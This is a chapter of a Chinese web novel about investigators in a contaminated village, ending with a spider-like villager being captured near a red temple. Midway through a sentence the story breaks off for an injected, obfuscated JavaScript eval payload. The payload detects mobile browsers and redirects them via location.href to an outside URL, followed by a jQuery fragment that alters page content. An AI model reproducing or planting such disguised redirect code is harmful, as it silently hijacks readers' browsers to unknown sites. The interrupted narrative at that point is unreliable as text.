7. 无名村(6)
作品:《异端收容手册[无限]》 殊黎在白秀秀回来后拜托她去偷偷检测林乐乐的异化浓度。
让人意外的是,林乐乐的异化度竟然一点也不低甚至比别的村民还要高,虽然不知为什么看上和其他被异化的村民完全不一样,但属于是一被发现身份ooc就绝对会惊动异端的程度。
白秀秀给出自己的判断:“可能是特殊npc。”
“异端常见的手段,经常会在污染区异化一些人完善自己的‘世界观’,我们通常把这些被异化的特殊人群称为npc,方便区别和调查,就像这个群体异化了的村子,你可以把那些村民看成普通npc,像与这些普通npc行为逻辑明显不同的林乐乐可以看成特殊npc。”
“特殊npc通常会有自己独一套的模板,有自己的任务、使命甚至职责,这是异端赋予他们的。”
殊黎内心莫名生了些抵触,问:“什么意思。”
白秀秀看了眼远处托腮看风景的年轻女孩,语气平静:“意思是她要么会代表异端的意志在这个污染区占有不低的地位,比如以祭祀为主题的污染区里身份为大祭司的特殊npc,完成任务的关键往往在这一类特殊npc身上。”
“要么,她只是异端用来丰满污染区规则的支线类特殊npc,这种npc可以帮助了解异端的形成机制,没有别的作用,同时也干涉不了他们的行为。”
“因为他们会自发走入自己命定的轨迹。”
见殊黎有些发愣,白秀秀拍拍她的肩膀:“别担心,被异端选中异化也不是她自己能决定多,只要在她走完自己的剧情前把异端收容了就不会有事,而且我看她对你没什么恶意。”
甚至可以说是很喜欢。
但这话白秀秀没说因为没什么必要,她回来是拿自己的测水质的特殊仪器的,走之前殊黎突然问她:“他们会死吗?我是指真的死。”
“看情况。”白秀秀言简意赅,“异端收容前死了就是真的死了,因为他们是异端操纵的。”
----------------
人走了之后社恐的林乐乐才敢跑到殊黎身边,她好奇望着白秀秀的身影:“怎么你同伙都在干活你一直在摸鱼。”
“......同伙听起来是不是有点不太礼貌。”
“你们干的是正经工作吗?”林乐乐毫不客气的戳穿她,嘀嘀咕咕,“要不是你没去跟着违法乱纪你觉得我还会跟你说话?要我说都这时候了出也出不去还做这些干什么,这么有职业操守吗?”
殊黎面无表情:“五十万。”
林乐乐顿时瞪大了双眼,冲她比了个大拇指:“牛!”
“怪不得都说赚钱的路子都在法条上,诚不欺我。”
殊黎想到刚刚旁敲侧击问她说的“救妈妈”,林乐乐却怎么也不愿意继续说下去了。
她坐了一会儿,怎么也坐不住了,第一次觉得在污染区的时光格外的漫长。
污染区里没信号联系不了人,她决定自己出去转转看能不能找到其他人或者发现点东西。
见到她要出门,林乐乐比她还要激动,一副她已经背叛了组织的样子:“你要去找你同伙?真刑啊!”
“........”殊黎有些无语,“我是去散步,散步好吗?请你注意一下用词。”
“哦。”林乐乐立马说:“那我也要去!”
“不行。”殊黎心想你去了我还怎么和人密谋.....呸呸呸是探讨。
没想到短短半天就被带歪了,殊黎有些有气无力的瞥了她一样,说:“你一个人在这,不要给陌生人开门,不熟悉的村民也不行,记住了吗?”
林乐乐表情逐渐迷惑,欲言又止了半天索性不理她一溜烟跑回屋子了。
就在殊黎离开后没多久,白秀秀去而复返,她四处找不到人看着空荡荡的院子,急得一跺脚:
“坏了,她自己一个人出去了!”
下一秒,她猛地转头抓到拉开窗偷看的女孩,目光锐利摄人心魄:“你让她出去的?她去哪了?”
女孩表情依旧警惕,没有半点待在殊黎身边时的热情开朗,她沉默着摇了摇头,“砰”一声关上了窗。
白秀秀:“.......”
她揉了揉额角,逐渐冷静下来。
跟个特殊npc问什么,也就殊黎这种体质能引起他们的注意,但也正因如此才更担心她一个人出去。
就连特殊npc第一次见了她都恨不得粘在她身上,更别提群体异化下的村民了。
危险,太危险了。
光是想想就冒一身冷汗的白秀秀急忙飞奔追去。
..........
殊黎不出意外的迷路了。
鬼知道为什么这么大的村子里为什么会有这么多的羊肠小道,她本想去村口看一眼档案里提及的大树,但显然她高估了自己的记路能力。
看着越走越荒芜的景色,殊黎心里有点打鼓,总有种不好的预感。
这种预感在她看到小路尽头的那座刷着红漆的小庙时达到了巅峰。
那红庙周围散乱长着密密麻麻的不知名杂草,只一道长期踩踏出的痕迹蜿蜒而出证明常有人来拜访。
这些杂草生长的太高太乱几乎遮蔽庙门,让人看不清庙里供奉的是什么。
殊黎犹豫了一下,还没想好要不要进就听到鞋底撵过草叶的“沙沙”声。
某种本能让她下意识躲入杂草堆之中。
几秒钟后,一个身材干瘦带着草帽的中年男人扛着锄头大摇大摆出现在她视野之中。
那人显然刚从地里干完活回来,锄头上还残留着未干的泥土。
草帽男显然没发现殊黎的存在,或者说他根本没心思观察周围,他越走越快,看到红庙时原本哼着的小曲也不哼了,锄头一扔,忙不迭钻入小道匆匆入庙。
见人走了,殊黎忍不住松了口气,准备先离开告诉别人这庙的存在,这庙总给她一种很古怪的感觉。
就在她刚站起来往前迈了一步,突然一只手重重攥住她了的手腕!
殊黎:“!!!”
那手力气极大,一下子就讲还没站稳的她给向后拽倒到地上。
殊黎还没来得及惊呼,又一只手捂住她的嘴不让她发出声音。
“别动。”
是温虹。
殊黎一口气差点没上来,她这才发现身后不知什么时候多了两个人,除了控制住她的温虹外,姜大力也蹲在旁边,正给她使眼色往外看。
殊黎顺着指引看过去,一看吓一跳。
只见原本已经进庙的草帽男不知什么时候出来了,他面色焦急,正边往外走边搜寻着什么,目
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421824|169097||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光紧紧巡视着四周。
在他往这个方向看过来的时候殊黎忍不住轻轻屏住了呼吸。
耐心逐渐告竭,草帽男开始慢慢仰躺在土地上,关节发出不堪重负的咔咔声,最终他四肢以一个正常人绝对做不到的角度扭曲着地,鼻孔大力翕张似乎在嗅寻着什么气息,瘦弱的肢节载着他如蜘蛛般朝极快地朝殊黎藏身地游走。
!!!!!
眼看他越爬越近,大气不敢出的殊黎突然感觉温虹安抚般拍了拍自己,从口袋里拿出一个喷雾对着几人轻轻按压了几下,轻柔如烟的水雾缓缓弥漫周围。
细微的按压声显然惊动了“蜘蛛”,他嘴角明显咧起了一个极其诡异的弧度,一下子就锁定了三人的位置,关节咔咔作响,速度瞬间加快。
可就在到了距离只有不到五米的距离,“蜘蛛”突然停了下来,这时他已经看到了目标的身影,但迟疑了。
因为目标在他的感知中有了母亲的气息。
“嗬……嗬嗬……”
“母亲。”他口中喃喃,声音嘶哑莫测,"是母亲.......”
他像是突然没了兴趣,慢吞吞扭转四肢起身,捡回自己的草帽戴上,又变回原本干瘦的农民模样,若无其事的踱步往红庙走。
“想走?”这下轮到姜大力来精神了,狞笑一声,猛地窜出来,“小爷让你走了吗!”
虽然姜大力常常因纸片般瘦弱的身材被人误解,但他力气人如其名真的很大力。
于是下一秒殊黎就严重者看着薄薄的姜大力从背后偷袭一脚将人踹到在地,又拿出不知从哪找出的绳子三下五除二捆得严严实实。
姜大力拍了拍手掌不存在的灰尘,小猫般昂首挺胸看向围观的两人,满脸的求夸奖:“怎么样?这一手可以吧。”
殊黎配合的鼓起了掌,同时疑惑:“你们怎么在这里啊?”
温虹刚要回答,就听草帽男开始满脸恐慌无助的大喊:“救命啊!!你们是谁为什么要绑我.....救命啊!!杀人啦!!!!”
仿佛他们是什么极其吓人的绑匪一样。
明明最吓人的是你好吧,跟个蜘蛛一样满地乱爬到处找人刀真的很恐怖。
温虹被打断也没生气,张了张口,正要再次说话草帽男又开始鬼哭狼嚎:“呜呜呜呜我上有老下有小不要杀我,母亲河保佑呜呜呜呜呜呜呜呜救命啊啊啊啊!!!”
这下温虹脸是彻底黑了,她一脚将人踹倒在地,冷冷威胁:“再说话就刀了你!”
语毕又粗暴地撕了草帽男的半截袖子团了团彻底堵住他的嘴。
草帽男:“唔唔唔?”
耳边彻底清净了,温虹恢复了以往温温柔柔的微笑,对殊黎说:“调查了些异化的物件,边查边找就找到这里了,倒是你怎么一个人出来了?”
“异变者一个人在污染区很容易受到异端关注,尤其是你这种异变程度的...要不是刚刚我拉住你了你就被这人抓住了。”
姜大力也有些后怕:“他是来供奉的,刚刚估计是被异端支使想把你抓去庙里献祭,幸好温虹姐提前备了点母亲河的河水,再加上我们人多才给你的气息混淆掉了。”
草帽男还在“唔唔”地叫,温虹没搭理:“这人现在又变回普通npc了,庙里估计还有几个,等会儿一起抓了审讯。